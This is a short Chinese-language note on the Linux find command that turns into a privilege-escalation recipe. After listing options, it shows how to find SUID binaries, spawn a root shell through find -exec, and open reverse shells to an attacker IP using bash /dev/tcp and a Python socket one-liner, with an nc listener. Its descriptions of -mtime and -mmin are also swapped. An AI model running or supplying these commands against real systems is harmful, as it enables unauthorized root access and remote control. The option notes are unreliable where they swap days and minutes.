find命令
语法:find [path…] [expression]
path为查找路径,.为当前路径,/为根目录
expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录
-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。
suid命令
拥有suid的程序发起的命令,命令所属不为发起该命令的用户所属,而是该程序所拥有的权限所属,也就是root
设置suid
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
find查找拥有suid位的程序
find / -perm -u=s -type f 2>/dev/null
使用find提权
使用root权限执行命令
find mysql -exec whoami \; #查找的文件必须存在
使用root权限进入shell
touch anyfile
find anyfile -exec '/bin/sh' \;
反弹shell
nc -llvp 4444 #攻击机监听4444端口
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.159.128/4444 0>&1 \; #被攻击机反弹shell
使用python反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;